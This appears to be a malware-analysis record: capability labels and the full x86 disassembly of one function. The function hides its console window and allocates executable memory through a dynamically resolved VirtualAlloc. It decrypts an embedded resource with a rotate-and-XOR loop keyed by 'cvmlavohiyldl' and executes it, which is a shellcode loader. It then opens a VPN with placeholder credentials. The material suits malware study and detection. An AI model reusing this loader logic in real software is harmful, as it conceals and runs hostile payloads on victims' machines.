Function at 0x401490
Capabilities:
Extract resource via kernel32 functions
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x48], str.cvmlavohiyldl
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x18], eax
push str.VirtualAlloc
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
push 0xa
push 0xd0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401503
xor eax, eax
jmp 0x40173a
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x2c], 0
jne 0x401532
xor eax, eax
jmp 0x40173a
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x38], eax
push 0x40
push 0x1000
mov eax, dword [ebp - 0x20]
push eax
push 0
call dword [ebp - 0x40]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40155f
xor eax, eax
jmp 0x40173a
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.00407770
add esp, 0xc
push 0x2faf080
call fcn.0040711c
add esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401590
xor eax, eax
jmp 0x40173a
push 0x2faf080
push 0xff
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00407dc0
add esp, 0xc
mov dword [ebp - 8], 0
jmp 0x4015b8
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x20]
jae 0x401607
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x14]
mov cl, byte [eax]
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 1]
sar edx, 3
movzx eax, byte [ebp - 1]
shl eax, 5
or edx, eax
movzx ecx, byte [ebp - 2]
xor edx, ecx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov eax, dword [ebp - 0x14]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x14], edx
jmp 0x4015af
mov eax, dword [ebp - 0xc]
call eax
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004070e4
add esp, 4
lea ecx, [ebp - 0x54]
call fcn.00402250
lea eax, [ebp - 0x54]
push eax
call fcn.004013c0
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x28], ecx
lea edx, [ebp - 0x24]
push edx
mov ecx, dword [ebp - 0x28]
call fcn.00403ef0
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x28]
call fcn.00404380
jmp 0x401651
lea ecx, [ebp - 0x24]
call fcn.00402cd0
lea ecx, [ebp - 0x44]
push ecx
lea ecx, [ebp - 0x24]
call fcn.00402bd0
movzx edx, al
test edx, edx
je 0x40168b
lea ecx, [ebp - 0x24]
call fcn.00402c90
mov dword [ebp - 0x3c], eax
push 0x401e50
mov eax, dword [ebp - 0x3c]
push eax
push 0x425b08
call fcn.00401740
mov ecx, eax
call fcn.00402ae0
jmp 0x401649
push str.MyVPN
lea ecx, [ebp - 0x6c]
call fcn.004021d0
push str.vpn.example.com
lea ecx, [ebp - 0xb4]
call fcn.004021d0
push str.user
lea ecx, [ebp - 0x9c]
call fcn.004021d0
push str.pass
lea ecx, [ebp - 0x84]
call fcn.004021d0
lea ecx, [ebp - 0xb4]
push ecx
lea edx, [ebp - 0x6c]
push edx
call fcn.00401260
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x9c]
push ecx
lea edx, [ebp - 0x6c]
push edx
call fcn.00401300
lea eax, [ebp - 0x30]
push eax
call fcn.004013a0
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x84]
call fcn.004027d0
lea ecx, [ebp - 0x9c]
call fcn.004027d0
lea ecx, [ebp - 0xb4]
call fcn.004027d0
lea ecx, [ebp - 0x6c]
call fcn.004027d0
lea ecx, [ebp - 0x54]
call fcn.00402820
mov eax, dword [ebp - 0x34]
mov esp, ebp
pop ebp
ret